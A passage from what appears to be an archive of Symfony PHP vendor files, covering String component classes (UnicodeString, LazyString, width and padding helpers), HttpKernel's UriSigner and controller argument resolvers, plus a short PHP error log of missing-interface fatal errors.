preg_replace('/(?:\x1B(?: \[ [\x30-\x3F]*+ [\x20-\x2F]*+ [\x40-\x7E] | [P\]X^_] .*? \x1B\\\\ | [\x41-\x7E] )|[\p{Cc}\x7F]++)/xu', '', $s); } $lineWidth = $this->wcswidth($s); if ($lineWidth > $width) { $width = $lineWidth; } } return $width; } private function pad(int $len, self $pad, int $type): static { $sLen = $this->length(); if ($len <= $sLen) { return clone $this; } $padLen = $pad->length(); $freeLen = $len - $sLen; $len = $freeLen % $padLen; switch ($type) { case \STR_PAD_RIGHT: return $this->append(str_repeat($pad->string, intdiv($freeLen, $padLen)).($len ? $pad->slice(0, $len) : '')); case \STR_PAD_LEFT: return $this->prepend(str_repeat($pad->string, intdiv($freeLen, $padLen)).($len ? $pad->slice(0, $len) : '')); case \STR_PAD_BOTH: $freeLen /= 2; $rightLen = ceil($freeLen); $len = $rightLen % $padLen; $str = $this->append(str_repeat($pad->string, intdiv($rightLen, $padLen)).($len ? $pad->slice(0, $len) : '')); $leftLen = floor($freeLen); $len = $leftLen % $padLen; return $str->prepend(str_repeat($pad->string, intdiv($leftLen, $padLen)).($len ? $pad->slice(0, $len) : '')); default: throw new InvalidArgumentException('Invalid padding type.'); } } /** * Based on https://github.com/jquast/wcwidth, a Python implementation of https://www.cl.cam.ac.uk/~mgk25/ucs/wcwidth.c. */ private function wcswidth(string $string): int { $width = 0; foreach (preg_split('//u', $string, -1, \PREG_SPLIT_NO_EMPTY) as $c) { $codePoint = mb_ord($c, 'UTF-8'); if (0 === $codePoint // NULL || 0x034F === $codePoint // COMBINING GRAPHEME JOINER || (0x200B <= $codePoint && 0x200F >= $codePoint) // ZERO WIDTH SPACE to RIGHT-TO-LEFT MARK || 0x2028 === $codePoint // LINE SEPARATOR || 0x2029 === $codePoint // PARAGRAPH SEPARATOR || (0x202A <= $codePoint && 0x202E >= $codePoint) // LEFT-TO-RIGHT EMBEDDING to RIGHT-TO-LEFT OVERRIDE || (0x2060 <= $codePoint && 0x2063 >= $codePoint) // WORD JOINER to INVISIBLE SEPARATOR ) { continue; } // Non printable characters if (32 > $codePoint // C0 control characters || (0x07F <= $codePoint && 0x0A0 > $codePoint) // C1 control characters and DEL ) { return -1; } self::$tableZero ??= require __DIR__.'/Resources/data/wcswidth_table_zero.php'; if ($codePoint >= self::$tableZero[0][0] && $codePoint <= self::$tableZero[$ubound = \count(self::$tableZero) - 1][1]) { $lbound = 0; while ($ubound >= $lbound) { $mid = floor(($lbound + $ubound) / 2); if ($codePoint > self::$tableZero[$mid][1]) { $lbound = $mid + 1; } elseif ($codePoint < self::$tableZero[$mid][0]) { $ubound = $mid - 1; } else { continue 2; } } } self::$tableWide ??= require __DIR__.'/Resources/data/wcswidth_table_wide.php'; if ($codePoint >= self::$tableWide[0][0] && $codePoint <= self::$tableWide[$ubound = \count(self::$tableWide) - 1][1]) { $lbound = 0; while ($ubound >= $lbound) { $mid = floor(($lbound + $ubound) / 2); if ($codePoint > self::$tableWide[$mid][1]) { $lbound = $mid + 1; } elseif ($codePoint < self::$tableWide[$mid][0]) { $ubound = $mid - 1; } else { $width += 2; continue 2; } } } ++$width; } return $width; } } string/LazyString.php000064400000010451151113511550010670 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\String; /** * A string whose value is computed lazily by a callback. * * @author Nicolas Grekas */ class LazyString implements \Stringable, \JsonSerializable { private \Closure|string $value; /** * @param callable|array $callback A callable or a [Closure, method] lazy-callable */ public static function fromCallable(callable|array $callback, mixed ...$arguments): static { if (\is_array($callback) && !\is_callable($callback) && !(($callback[0] ?? null) instanceof \Closure || 2 < \count($callback))) { throw new \TypeError(sprintf('Argument 1 passed to "%s()" must be a callable or a [Closure, method] lazy-callable, "%s" given.', __METHOD__, '['.implode(', ', array_map('get_debug_type', $callback)).']')); } $lazyString = new static(); $lazyString->value = static function () use (&$callback, &$arguments): string { static $value; if (null !== $arguments) { if (!\is_callable($callback)) { $callback[0] = $callback[0](); $callback[1] ??= '__invoke'; } $value = $callback(...$arguments); $callback = self::getPrettyName($callback); $arguments = null; } return $value ?? ''; }; return $lazyString; } public static function fromStringable(string|int|float|bool|\Stringable $value): static { if (\is_object($value)) { return static::fromCallable($value->__toString(...)); } $lazyString = new static(); $lazyString->value = (string) $value; return $lazyString; } /** * Tells whether the provided value can be cast to string. */ final public static function isStringable(mixed $value): bool { return \is_string($value) || $value instanceof \Stringable || \is_scalar($value); } /** * Casts scalars and stringable objects to strings. * * @throws \TypeError When the provided value is not stringable */ final public static function resolve(\Stringable|string|int|float|bool $value): string { return $value; } public function __toString(): string { if (\is_string($this->value)) { return $this->value; } try { return $this->value = ($this->value)(); } catch (\Throwable $e) { if (\TypeError::class === $e::class && __FILE__ === $e->getFile()) { $type = explode(', ', $e->getMessage()); $type = substr(array_pop($type), 0, -\strlen(' returned')); $r = new \ReflectionFunction($this->value); $callback = $r->getStaticVariables()['callback']; $e = new \TypeError(sprintf('Return value of %s() passed to %s::fromCallable() must be of the type string, %s returned.', $callback, static::class, $type)); } throw $e; } } public function __sleep(): array { $this->__toString(); return ['value']; } public function jsonSerialize(): string { return $this->__toString(); } private function __construct() { } private static function getPrettyName(callable $callback): string { if (\is_string($callback)) { return $callback; } if (\is_array($callback)) { $class = \is_object($callback[0]) ? get_debug_type($callback[0]) : $callback[0]; $method = $callback[1]; } elseif ($callback instanceof \Closure) { $r = new \ReflectionFunction($callback); if (str_contains($r->name, '{closure}') || !$class = \PHP_VERSION_ID >= 80111 ? $r->getClosureCalledClass() : $r->getClosureScopeClass()) { return $r->name; } $class = $class->name; $method = $r->name; } else { $class = get_debug_type($callback); $method = '__invoke'; } return $class.'::'.$method; } } string/UnicodeString.php000064400000027675151113511550011357 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\String; use Symfony\Component\String\Exception\ExceptionInterface; use Symfony\Component\String\Exception\InvalidArgumentException; /** * Represents a string of Unicode grapheme clusters encoded as UTF-8. * * A letter followed by combining characters (accents typically) form what Unicode defines * as a grapheme cluster: a character as humans mean it in written texts. This class knows * about the concept and won't split a letter apart from its combining accents. It also * ensures all string comparisons happen on their canonically-composed representation, * ignoring e.g. the order in which accents are listed when a letter has many of them. * * @see https://unicode.org/reports/tr15/ * * @author Nicolas Grekas * @author Hugo Hamon * * @throws ExceptionInterface */ class UnicodeString extends AbstractUnicodeString { public function __construct(string $string = '') { $this->string = normalizer_is_normalized($string) ? $string : normalizer_normalize($string); if (false === $this->string) { throw new InvalidArgumentException('Invalid UTF-8 string.'); } } public function append(string ...$suffix): static { $str = clone $this; $str->string = $this->string.(1 >= \count($suffix) ? ($suffix[0] ?? '') : implode('', $suffix)); normalizer_is_normalized($str->string) ?: $str->string = normalizer_normalize($str->string); if (false === $str->string) { throw new InvalidArgumentException('Invalid UTF-8 string.'); } return $str; } public function chunk(int $length = 1): array { if (1 > $length) { throw new InvalidArgumentException('The chunk length must be greater than zero.'); } if ('' === $this->string) { return []; } $rx = '/('; while (65535 < $length) { $rx .= '\X{65535}'; $length -= 65535; } $rx .= '\X{'.$length.'})/u'; $str = clone $this; $chunks = []; foreach (preg_split($rx, $this->string, -1, \PREG_SPLIT_DELIM_CAPTURE | \PREG_SPLIT_NO_EMPTY) as $chunk) { $str->string = $chunk; $chunks[] = clone $str; } return $chunks; } public function endsWith(string|iterable|AbstractString $suffix): bool { if ($suffix instanceof AbstractString) { $suffix = $suffix->string; } elseif (!\is_string($suffix)) { return parent::endsWith($suffix); } $form = null === $this->ignoreCase ? \Normalizer::NFD : \Normalizer::NFC; normalizer_is_normalized($suffix, $form) ?: $suffix = normalizer_normalize($suffix, $form); if ('' === $suffix || false === $suffix) { return false; } if ($this->ignoreCase) { return 0 === mb_stripos(grapheme_extract($this->string, \strlen($suffix), \GRAPHEME_EXTR_MAXBYTES, \strlen($this->string) - \strlen($suffix)), $suffix, 0, 'UTF-8'); } return $suffix === grapheme_extract($this->string, \strlen($suffix), \GRAPHEME_EXTR_MAXBYTES, \strlen($this->string) - \strlen($suffix)); } public function equalsTo(string|iterable|AbstractString $string): bool { if ($string instanceof AbstractString) { $string = $string->string; } elseif (!\is_string($string)) { return parent::equalsTo($string); } $form = null === $this->ignoreCase ? \Normalizer::NFD : \Normalizer::NFC; normalizer_is_normalized($string, $form) ?: $string = normalizer_normalize($string, $form); if ('' !== $string && false !== $string && $this->ignoreCase) { return \strlen($string) === \strlen($this->string) && 0 === mb_stripos($this->string, $string, 0, 'UTF-8'); } return $string === $this->string; } public function indexOf(string|iterable|AbstractString $needle, int $offset = 0): ?int { if ($needle instanceof AbstractString) { $needle = $needle->string; } elseif (!\is_string($needle)) { return parent::indexOf($needle, $offset); } $form = null === $this->ignoreCase ? \Normalizer::NFD : \Normalizer::NFC; normalizer_is_normalized($needle, $form) ?: $needle = normalizer_normalize($needle, $form); if ('' === $needle || false === $needle) { return null; } try { $i = $this->ignoreCase ? grapheme_stripos($this->string, $needle, $offset) : grapheme_strpos($this->string, $needle, $offset); } catch (\ValueError) { return null; } return false === $i ? null : $i; } public function indexOfLast(string|iterable|AbstractString $needle, int $offset = 0): ?int { if ($needle instanceof AbstractString) { $needle = $needle->string; } elseif (!\is_string($needle)) { return parent::indexOfLast($needle, $offset); } $form = null === $this->ignoreCase ? \Normalizer::NFD : \Normalizer::NFC; normalizer_is_normalized($needle, $form) ?: $needle = normalizer_normalize($needle, $form); if ('' === $needle || false === $needle) { return null; } $string = $this->string; if (0 > $offset) { // workaround https://bugs.php.net/74264 if (0 > $offset += grapheme_strlen($needle)) { $string = grapheme_substr($string, 0, $offset); } $offset = 0; } $i = $this->ignoreCase ? grapheme_strripos($string, $needle, $offset) : grapheme_strrpos($string, $needle, $offset); return false === $i ? null : $i; } public function join(array $strings, string $lastGlue = null): static { $str = parent::join($strings, $lastGlue); normalizer_is_normalized($str->string) ?: $str->string = normalizer_normalize($str->string); return $str; } public function length(): int { return grapheme_strlen($this->string); } public function normalize(int $form = self::NFC): static { $str = clone $this; if (\in_array($form, [self::NFC, self::NFKC], true)) { normalizer_is_normalized($str->string, $form) ?: $str->string = normalizer_normalize($str->string, $form); } elseif (!\in_array($form, [self::NFD, self::NFKD], true)) { throw new InvalidArgumentException('Unsupported normalization form.'); } elseif (!normalizer_is_normalized($str->string, $form)) { $str->string = normalizer_normalize($str->string, $form); $str->ignoreCase = null; } return $str; } public function prepend(string ...$prefix): static { $str = clone $this; $str->string = (1 >= \count($prefix) ? ($prefix[0] ?? '') : implode('', $prefix)).$this->string; normalizer_is_normalized($str->string) ?: $str->string = normalizer_normalize($str->string); if (false === $str->string) { throw new InvalidArgumentException('Invalid UTF-8 string.'); } return $str; } public function replace(string $from, string $to): static { $str = clone $this; normalizer_is_normalized($from) ?: $from = normalizer_normalize($from); if ('' !== $from && false !== $from) { $tail = $str->string; $result = ''; $indexOf = $this->ignoreCase ? 'grapheme_stripos' : 'grapheme_strpos'; while ('' !== $tail && false !== $i = $indexOf($tail, $from)) { $slice = grapheme_substr($tail, 0, $i); $result .= $slice.$to; $tail = substr($tail, \strlen($slice) + \strlen($from)); } $str->string = $result.$tail; normalizer_is_normalized($str->string) ?: $str->string = normalizer_normalize($str->string); if (false === $str->string) { throw new InvalidArgumentException('Invalid UTF-8 string.'); } } return $str; } public function replaceMatches(string $fromRegexp, string|callable $to): static { $str = parent::replaceMatches($fromRegexp, $to); normalizer_is_normalized($str->string) ?: $str->string = normalizer_normalize($str->string); return $str; } public function slice(int $start = 0, int $length = null): static { $str = clone $this; $str->string = (string) grapheme_substr($this->string, $start, $length ?? 2147483647); return $str; } public function splice(string $replacement, int $start = 0, int $length = null): static { $str = clone $this; $start = $start ? \strlen(grapheme_substr($this->string, 0, $start)) : 0; $length = $length ? \strlen(grapheme_substr($this->string, $start, $length ?? 2147483647)) : $length; $str->string = substr_replace($this->string, $replacement, $start, $length ?? 2147483647); normalizer_is_normalized($str->string) ?: $str->string = normalizer_normalize($str->string); if (false === $str->string) { throw new InvalidArgumentException('Invalid UTF-8 string.'); } return $str; } public function split(string $delimiter, int $limit = null, int $flags = null): array { if (1 > $limit ??= 2147483647) { throw new InvalidArgumentException('Split limit must be a positive integer.'); } if ('' === $delimiter) { throw new InvalidArgumentException('Split delimiter is empty.'); } if (null !== $flags) { return parent::split($delimiter.'u', $limit, $flags); } normalizer_is_normalized($delimiter) ?: $delimiter = normalizer_normalize($delimiter); if (false === $delimiter) { throw new InvalidArgumentException('Split delimiter is not a valid UTF-8 string.'); } $str = clone $this; $tail = $this->string; $chunks = []; $indexOf = $this->ignoreCase ? 'grapheme_stripos' : 'grapheme_strpos'; while (1 < $limit && false !== $i = $indexOf($tail, $delimiter)) { $str->string = grapheme_substr($tail, 0, $i); $chunks[] = clone $str; $tail = substr($tail, \strlen($str->string) + \strlen($delimiter)); --$limit; } $str->string = $tail; $chunks[] = clone $str; return $chunks; } public function startsWith(string|iterable|AbstractString $prefix): bool { if ($prefix instanceof AbstractString) { $prefix = $prefix->string; } elseif (!\is_string($prefix)) { return parent::startsWith($prefix); } $form = null === $this->ignoreCase ? \Normalizer::NFD : \Normalizer::NFC; normalizer_is_normalized($prefix, $form) ?: $prefix = normalizer_normalize($prefix, $form); if ('' === $prefix || false === $prefix) { return false; } if ($this->ignoreCase) { return 0 === mb_stripos(grapheme_extract($this->string, \strlen($prefix), \GRAPHEME_EXTR_MAXBYTES), $prefix, 0, 'UTF-8'); } return $prefix === grapheme_extract($this->string, \strlen($prefix), \GRAPHEME_EXTR_MAXBYTES); } public function __wakeup() { if (!\is_string($this->string)) { throw new \BadMethodCallException('Cannot unserialize '.__CLASS__); } normalizer_is_normalized($this->string) ?: $this->string = normalizer_normalize($this->string); } public function __clone() { if (null === $this->ignoreCase) { normalizer_is_normalized($this->string) ?: $this->string = normalizer_normalize($this->string); } $this->ignoreCase = false; } } string/CHANGELOG.md000064400000001572151113511550007666 0ustar00CHANGELOG ========= 6.2 --- * Add support for emoji in `AsciiSlugger` 5.4 --- * Add `trimSuffix()` and `trimPrefix()` methods 5.3 --- * Made `AsciiSlugger` fallback to parent locale's symbolsMap 5.2.0 ----- * added a `FrenchInflector` class 5.1.0 ----- * added the `AbstractString::reverse()` method * made `AbstractString::width()` follow POSIX.1-2001 * added `LazyString` which provides memoizing stringable objects * The component is not marked as `@experimental` anymore * added the `s()` helper method to get either an `UnicodeString` or `ByteString` instance, depending of the input string UTF-8 compliancy * added `$cut` parameter to `Symfony\Component\String\AbstractString::truncate()` * added `AbstractString::containsAny()` * allow passing a string of custom characters to `ByteString::fromRandom()` 5.0.0 ----- * added the component as experimental http-kernel/UriSigner.php000064400000006041151113511550011420 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel; use Symfony\Component\HttpFoundation\Request; /** * Signs URIs. * * @author Fabien Potencier */ class UriSigner { private string $secret; private string $parameter; /** * @param string $secret A secret * @param string $parameter Query string parameter to use */ public function __construct(#[\SensitiveParameter] string $secret, string $parameter = '_hash') { $this->secret = $secret; $this->parameter = $parameter; } /** * Signs a URI. * * The given URI is signed by adding the query string parameter * which value depends on the URI and the secret. */ public function sign(string $uri): string { $url = parse_url($uri); $params = []; if (isset($url['query'])) { parse_str($url['query'], $params); } $uri = $this->buildUrl($url, $params); $params[$this->parameter] = $this->computeHash($uri); return $this->buildUrl($url, $params); } /** * Checks that a URI contains the correct hash. */ public function check(string $uri): bool { $url = parse_url($uri); $params = []; if (isset($url['query'])) { parse_str($url['query'], $params); } if (empty($params[$this->parameter])) { return false; } $hash = $params[$this->parameter]; unset($params[$this->parameter]); return hash_equals($this->computeHash($this->buildUrl($url, $params)), $hash); } public function checkRequest(Request $request): bool { $qs = ($qs = $request->server->get('QUERY_STRING')) ? '?'.$qs : ''; // we cannot use $request->getUri() here as we want to work with the original URI (no query string reordering) return $this->check($request->getSchemeAndHttpHost().$request->getBaseUrl().$request->getPathInfo().$qs); } private function computeHash(string $uri): string { return base64_encode(hash_hmac('sha256', $uri, $this->secret, true)); } private function buildUrl(array $url, array $params = []): string { ksort($params, \SORT_STRING); $url['query'] = http_build_query($params, '', '&'); $scheme = isset($url['scheme']) ? $url['scheme'].'://' : ''; $host = $url['host'] ?? ''; $port = isset($url['port']) ? ':'.$url['port'] : ''; $user = $url['user'] ?? ''; $pass = isset($url['pass']) ? ':'.$url['pass'] : ''; $pass = ($user || $pass) ? "$pass@" : ''; $path = $url['path'] ?? ''; $query = $url['query'] ? '?'.$url['query'] : ''; $fragment = isset($url['fragment']) ? '#'.$url['fragment'] : ''; return $scheme.$user.$pass.$host.$port.$path.$query.$fragment; } } http-kernel/ControllerMetadata/ArgumentMetadata.php000064400000007335151113511550016527 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel\ControllerMetadata; /** * Responsible for storing metadata of an argument. * * @author Iltar van der Berg */ class ArgumentMetadata { public const IS_INSTANCEOF = 2; private string $name; private ?string $type; private bool $isVariadic; private bool $hasDefaultValue; private mixed $defaultValue; private bool $isNullable; private array $attributes; /** * @param object[] $attributes */ public function __construct(string $name, ?string $type, bool $isVariadic, bool $hasDefaultValue, mixed $defaultValue, bool $isNullable = false, array $attributes = []) { $this->name = $name; $this->type = $type; $this->isVariadic = $isVariadic; $this->hasDefaultValue = $hasDefaultValue; $this->defaultValue = $defaultValue; $this->isNullable = $isNullable || null === $type || ($hasDefaultValue && null === $defaultValue); $this->attributes = $attributes; } /** * Returns the name as given in PHP, $foo would yield "foo". */ public function getName(): string { return $this->name; } /** * Returns the type of the argument. * * The type is the PHP class in 5.5+ and additionally the basic type in PHP 7.0+. */ public function getType(): ?string { return $this->type; } /** * Returns whether the argument is defined as "...$variadic". */ public function isVariadic(): bool { return $this->isVariadic; } /** * Returns whether the argument has a default value. * * Implies whether an argument is optional. */ public function hasDefaultValue(): bool { return $this->hasDefaultValue; } /** * Returns whether the argument accepts null values. */ public function isNullable(): bool { return $this->isNullable; } /** * Returns the default value of the argument. * * @throws \LogicException if no default value is present; {@see self::hasDefaultValue()} */ public function getDefaultValue(): mixed { if (!$this->hasDefaultValue) { throw new \LogicException(sprintf('Argument $%s does not have a default value. Use "%s::hasDefaultValue()" to avoid this exception.', $this->name, __CLASS__)); } return $this->defaultValue; } /** * @param class-string $name * @param self::IS_INSTANCEOF|0 $flags * * @return array */ public function getAttributes(string $name = null, int $flags = 0): array { if (!$name) { return $this->attributes; } return $this->getAttributesOfType($name, $flags); } /** * @template T of object * * @param class-string $name * @param self::IS_INSTANCEOF|0 $flags * * @return array */ public function getAttributesOfType(string $name, int $flags = 0): array { $attributes = []; if ($flags & self::IS_INSTANCEOF) { foreach ($this->attributes as $attribute) { if ($attribute instanceof $name) { $attributes[] = $attribute; } } } else { foreach ($this->attributes as $attribute) { if ($attribute::class === $name) { $attributes[] = $attribute; } } } return $attributes; } } http-kernel/ControllerMetadata/error_log000064400000002426151113511550014504 0ustar00[19-Nov-2025 02:00:52 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpKernel\ControllerMetadata\ArgumentMetadataFactoryInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/ControllerMetadata/ArgumentMetadataFactory.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/ControllerMetadata/ArgumentMetadataFactory.php on line 19 [25-Nov-2025 02:56:14 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpKernel\ControllerMetadata\ArgumentMetadataFactoryInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/ControllerMetadata/ArgumentMetadataFactory.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/ControllerMetadata/ArgumentMetadataFactory.php on line 19 [25-Nov-2025 23:08:07 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpKernel\ControllerMetadata\ArgumentMetadataFactoryInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/ControllerMetadata/ArgumentMetadataFactory.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/ControllerMetadata/ArgumentMetadataFactory.php on line 19 http-kernel/ControllerMetadata/ArgumentMetadataFactory.php000064400000003652151113511550020055 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel\ControllerMetadata; /** * Builds {@see ArgumentMetadata} objects based on the given Controller. * * @author Iltar van der Berg */ final class ArgumentMetadataFactory implements ArgumentMetadataFactoryInterface { public function createArgumentMetadata(string|object|array $controller, \ReflectionFunctionAbstract $reflector = null): array { $arguments = []; $reflector ??= new \ReflectionFunction($controller(...)); foreach ($reflector->getParameters() as $param) { $attributes = []; foreach ($param->getAttributes() as $reflectionAttribute) { if (class_exists($reflectionAttribute->getName())) { $attributes[] = $reflectionAttribute->newInstance(); } } $arguments[] = new ArgumentMetadata($param->getName(), $this->getType($param), $param->isVariadic(), $param->isDefaultValueAvailable(), $param->isDefaultValueAvailable() ? $param->getDefaultValue() : null, $param->allowsNull(), $attributes); } return $arguments; } /** * Returns an associated type to the given parameter if available. */ private function getType(\ReflectionParameter $parameter): ?string { if (!$type = $parameter->getType()) { return null; } $name = $type instanceof \ReflectionNamedType ? $type->getName() : (string) $type; return match (strtolower($name)) { 'self' => $parameter->getDeclaringClass()?->name, 'parent' => get_parent_class($parameter->getDeclaringClass()?->name ?? '') ?: null, default => $name, }; } } http-kernel/ControllerMetadata/ArgumentMetadataFactoryInterface.php000064400000001261151113511550021670 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel\ControllerMetadata; /** * Builds method argument data. * * @author Iltar van der Berg */ interface ArgumentMetadataFactoryInterface { /** * @param \ReflectionFunctionAbstract|null $reflector * * @return ArgumentMetadata[] */ public function createArgumentMetadata(string|object|array $controller/* , \ReflectionFunctionAbstract $reflector = null */): array; } http-kernel/Controller/ContainerControllerResolver.php000064400000004251151113511550017345 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel\Controller; use Psr\Container\ContainerInterface; use Psr\Log\LoggerInterface; use Symfony\Component\DependencyInjection\Container; /** * A controller resolver searching for a controller in a psr-11 container when using the "service::method" notation. * * @author Fabien Potencier * @author Maxime Steinhausser */ class ContainerControllerResolver extends ControllerResolver { protected $container; public function __construct(ContainerInterface $container, LoggerInterface $logger = null) { $this->container = $container; parent::__construct($logger); } protected function instantiateController(string $class): object { $class = ltrim($class, '\\'); if ($this->container->has($class)) { return $this->container->get($class); } try { return parent::instantiateController($class); } catch (\Error $e) { } $this->throwExceptionIfControllerWasRemoved($class, $e); if ($e instanceof \ArgumentCountError) { throw new \InvalidArgumentException(sprintf('Controller "%s" has required constructor arguments and does not exist in the container. Did you forget to define the controller as a service?', $class), 0, $e); } throw new \InvalidArgumentException(sprintf('Controller "%s" does neither exist as service nor as class.', $class), 0, $e); } private function throwExceptionIfControllerWasRemoved(string $controller, \Throwable $previous): void { if ($this->container instanceof Container && isset($this->container->getRemovedIds()[$controller])) { throw new \InvalidArgumentException(sprintf('Controller "%s" cannot be fetched from the container because it is private. Did you forget to tag the service with "controller.service_arguments"?', $controller), 0, $previous); } } } http-kernel/Controller/ArgumentResolver/RequestValueResolver.php000064400000002632151113511550021311 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel\Controller\ArgumentResolver; use Symfony\Component\HttpFoundation\Request; use Symfony\Component\HttpKernel\Controller\ArgumentValueResolverInterface; use Symfony\Component\HttpKernel\Controller\ValueResolverInterface; use Symfony\Component\HttpKernel\ControllerMetadata\ArgumentMetadata; /** * Yields the same instance as the request object passed along. * * @author Iltar van der Berg */ final class RequestValueResolver implements ArgumentValueResolverInterface, ValueResolverInterface { /** * @deprecated since Symfony 6.2, use resolve() instead */ public function supports(Request $request, ArgumentMetadata $argument): bool { @trigger_deprecation('symfony/http-kernel', '6.2', 'The "%s()" method is deprecated, use "resolve()" instead.', __METHOD__); return Request::class === $argument->getType() || is_subclass_of($argument->getType(), Request::class); } public function resolve(Request $request, ArgumentMetadata $argument): array { return Request::class === $argument->getType() || is_subclass_of($argument->getType(), Request::class) ? [$request] : []; } } http-kernel/Controller/ArgumentResolver/VariadicValueResolver.php000064400000003367151113511550021411 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel\Controller\ArgumentResolver; use Symfony\Component\HttpFoundation\Request; use Symfony\Component\HttpKernel\Controller\ArgumentValueResolverInterface; use Symfony\Component\HttpKernel\Controller\ValueResolverInterface; use Symfony\Component\HttpKernel\ControllerMetadata\ArgumentMetadata; /** * Yields a variadic argument's values from the request attributes. * * @author Iltar van der Berg */ final class VariadicValueResolver implements ArgumentValueResolverInterface, ValueResolverInterface { /** * @deprecated since Symfony 6.2, use resolve() instead */ public function supports(Request $request, ArgumentMetadata $argument): bool { @trigger_deprecation('symfony/http-kernel', '6.2', 'The "%s()" method is deprecated, use "resolve()" instead.', __METHOD__); return $argument->isVariadic() && $request->attributes->has($argument->getName()); } public function resolve(Request $request, ArgumentMetadata $argument): array { if (!$argument->isVariadic() || !$request->attributes->has($argument->getName())) { return []; } $values = $request->attributes->get($argument->getName()); if (!\is_array($values)) { throw new \InvalidArgumentException(sprintf('The action argument "...$%1$s" is required to be an array, the request attribute "%1$s" contains a type of "%2$s" instead.', $argument->getName(), get_debug_type($values))); } return $values; } } http-kernel/Controller/ArgumentResolver/DefaultValueResolver.php000064400000003120151113511560021237 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel\Controller\ArgumentResolver; use Symfony\Component\HttpFoundation\Request; use Symfony\Component\HttpKernel\Controller\ArgumentValueResolverInterface; use Symfony\Component\HttpKernel\Controller\ValueResolverInterface; use Symfony\Component\HttpKernel\ControllerMetadata\ArgumentMetadata; /** * Yields the default value defined in the action signature when no value has been given. * * @author Iltar van der Berg */ final class DefaultValueResolver implements ArgumentValueResolverInterface, ValueResolverInterface { /** * @deprecated since Symfony 6.2, use resolve() instead */ public function supports(Request $request, ArgumentMetadata $argument): bool { @trigger_deprecation('symfony/http-kernel', '6.2', 'The "%s()" method is deprecated, use "resolve()" instead.', __METHOD__); return $argument->hasDefaultValue() || (null !== $argument->getType() && $argument->isNullable() && !$argument->isVariadic()); } public function resolve(Request $request, ArgumentMetadata $argument): array { if ($argument->hasDefaultValue()) { return [$argument->getDefaultValue()]; } if (null !== $argument->getType() && $argument->isNullable() && !$argument->isVariadic()) { return [null]; } return []; } } http-kernel/Controller/ArgumentResolver/RequestPayloadValueResolver.php000064400000020403151113511560022620 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel\Controller\ArgumentResolver; use Symfony\Component\EventDispatcher\EventSubscriberInterface; use Symfony\Component\HttpFoundation\Request; use Symfony\Component\HttpFoundation\Response; use Symfony\Component\HttpKernel\Attribute\MapQueryString; use Symfony\Component\HttpKernel\Attribute\MapRequestPayload; use Symfony\Component\HttpKernel\Controller\ValueResolverInterface; use Symfony\Component\HttpKernel\ControllerMetadata\ArgumentMetadata; use Symfony\Component\HttpKernel\Event\ControllerArgumentsEvent; use Symfony\Component\HttpKernel\Exception\HttpException; use Symfony\Component\HttpKernel\KernelEvents; use Symfony\Component\Serializer\Exception\NotEncodableValueException; use Symfony\Component\Serializer\Exception\PartialDenormalizationException; use Symfony\Component\Serializer\Exception\UnsupportedFormatException; use Symfony\Component\Serializer\Normalizer\DenormalizerInterface; use Symfony\Component\Serializer\SerializerInterface; use Symfony\Component\Validator\ConstraintViolation; use Symfony\Component\Validator\ConstraintViolationList; use Symfony\Component\Validator\Exception\ValidationFailedException; use Symfony\Component\Validator\Validator\ValidatorInterface; use Symfony\Contracts\Translation\TranslatorInterface; /** * @author Konstantin Myakshin * * @final */ class RequestPayloadValueResolver implements ValueResolverInterface, EventSubscriberInterface { /** * @see \Symfony\Component\Serializer\Normalizer\AbstractObjectNormalizer::DISABLE_TYPE_ENFORCEMENT * @see DenormalizerInterface::COLLECT_DENORMALIZATION_ERRORS */ private const CONTEXT_DENORMALIZE = [ 'disable_type_enforcement' => true, 'collect_denormalization_errors' => true, ]; /** * @see DenormalizerInterface::COLLECT_DENORMALIZATION_ERRORS */ private const CONTEXT_DESERIALIZE = [ 'collect_denormalization_errors' => true, ]; public function __construct( private readonly SerializerInterface&DenormalizerInterface $serializer, private readonly ?ValidatorInterface $validator = null, private readonly ?TranslatorInterface $translator = null, ) { } public function resolve(Request $request, ArgumentMetadata $argument): iterable { $attribute = $argument->getAttributesOfType(MapQueryString::class, ArgumentMetadata::IS_INSTANCEOF)[0] ?? $argument->getAttributesOfType(MapRequestPayload::class, ArgumentMetadata::IS_INSTANCEOF)[0] ?? null; if (!$attribute) { return []; } if ($argument->isVariadic()) { throw new \LogicException(sprintf('Mapping variadic argument "$%s" is not supported.', $argument->getName())); } $attribute->metadata = $argument; return [$attribute]; } public function onKernelControllerArguments(ControllerArgumentsEvent $event): void { $arguments = $event->getArguments(); foreach ($arguments as $i => $argument) { if ($argument instanceof MapQueryString) { $payloadMapper = 'mapQueryString'; $validationFailedCode = Response::HTTP_NOT_FOUND; } elseif ($argument instanceof MapRequestPayload) { $payloadMapper = 'mapRequestPayload'; $validationFailedCode = Response::HTTP_UNPROCESSABLE_ENTITY; } else { 